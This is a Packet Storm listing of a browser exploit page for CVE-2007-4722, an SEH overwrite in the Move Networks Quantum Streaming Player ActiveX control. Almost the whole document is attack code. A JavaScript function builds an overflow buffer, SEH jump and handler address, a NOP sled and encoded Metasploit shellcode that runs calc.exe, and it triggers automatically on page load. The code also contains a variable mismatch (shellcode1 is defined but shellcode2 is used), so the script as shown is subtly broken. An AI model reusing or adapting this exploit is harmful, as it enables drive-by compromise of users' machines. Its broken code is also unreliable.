move-overwrite.txt

2008-01-0900:00:00

Elazar Broad

packetstormsecurity.com

0.257 Low

EPSS

Percentile

96.2%

JSON

`<!--   
Move Networks Quantum Streaming Player SEH Overwrite Exploit  
Vulnerability discovered by Parvez Anwar, CVE-2007-4722  
Exploit written by e.b.  
Shellcode is limited to around 400 bytes  
Tested on Windows XP SP2(fully patched) English, IE6  
Thanks to h.d.m. and the Metasploit crew   
-->  
<html>  
<head>  
<title>Move Networks Quantum Streaming Player SEH Overwrite Exploit</title>  
<script language="JavaScript" defer>  
function Check() {  
  
var buf = 'A';   
while (buf.length <= 1027) buf = buf + 'A';  
  
  
// win32_exec - EXITFUNC=seh CMD=c:\windows\system32\calc.exe Size=378 Encoder=Alpha2 http://metasploit.com   
var shellcode1 = unescape("%eb%03%59%eb%05%e8%f8%ff%ff%ff%49%49%49%49%49%49" +  
"%48%49%49%49%49%49%49%49%49%49%49%49%51%5a%6a%43" +  
"%58%30%42%31%50%42%41%6b%42%41%53%42%32%42%41%32" +  
"%41%41%30%41%41%58%50%38%42%42%75%48%69%6b%4c%4d" +  
"%38%63%74%75%50%33%30%67%70%4c%4b%73%75%57%4c%6e" +  
"%6b%63%4c%45%55%63%48%33%31%58%6f%6c%4b%70%4f%77" +  
"%68%6e%6b%73%6f%71%30%65%51%6a%4b%72%69%4e%6b%36" +  
"%54%4e%6b%45%51%4a%4e%46%51%6b%70%4f%69%4c%6c%6e" +  
"%64%59%50%73%44%53%37%58%41%7a%6a%54%4d%33%31%78" +  
"%42%48%6b%7a%54%77%4b%52%74%66%44%34%44%62%55%59" +  
"%75%6e%6b%41%4f%36%44%45%51%6a%4b%53%56%4c%4b%46" +  
"%6c%72%6b%4c%4b%53%6f%37%6c%63%31%6a%4b%4e%6b%75" +  
"%4c%6c%4b%54%41%48%6b%4d%59%51%4c%51%34%34%44%4a" +  
"%63%30%31%6f%30%62%44%4e%6b%71%50%54%70%4b%35%6b" +  
"%70%50%78%46%6c%6c%4b%63%70%44%4c%4c%4b%44%30%35" +  
"%4c%6e%4d%6c%4b%61%78%55%58%6a%4b%64%49%4e%6b%6b" +  
"%30%6c%70%57%70%57%70%47%70%4c%4b%70%68%47%4c%71" +  
"%4f%44%71%6b%46%33%50%66%36%4f%79%4c%38%6e%63%4f" +  
"%30%71%6b%30%50%41%78%58%70%6c%4a%53%34%51%4f%33" +  
"%58%4e%78%39%6e%6d%5a%46%6e%61%47%4b%4f%69%77%63" +  
"%53%45%6a%33%6c%72%57%30%69%50%6e%62%44%70%6f%73" +  
"%47%41%63%41%4c%50%73%42%59%31%63%50%74%65%35%70" +  
"%6d%54%73%65%62%33%6c%30%63%41%71%70%6c%53%53%66" +  
"%4e%31%75%74%38%70%65%77%70%43");  
  
  
  
var next_seh_pointer = unescape("%EB%06%90%90"); //2 byte jump  
  
  
//oleacc.dll Windows XP SP2 English 0x74C96950 pop ebp - pop - retbis  
//no SafeSEH  
var seh_handler = unescape("%50%69%C9%74");   
  
var nop = unescape("%90%90%90%90%90%90%90%90%90%90%90%90");  
  
var m = buf + next_seh_pointer + seh_handler + nop + shellcode2;  
  
obj.Play(m);  
  
}   
  
</script>  
</head>  
<body onload="JavaScript: return Check();">  
<object id="obj" classid="clsid:E473A65C-8087-49A3-AFFD-C5BC4A10669B" height="0" width="0">  
Unable to create object  
</object>  
</body>  
</html>  
`

0.257 Low

EPSS

Percentile

96.2%

JSON

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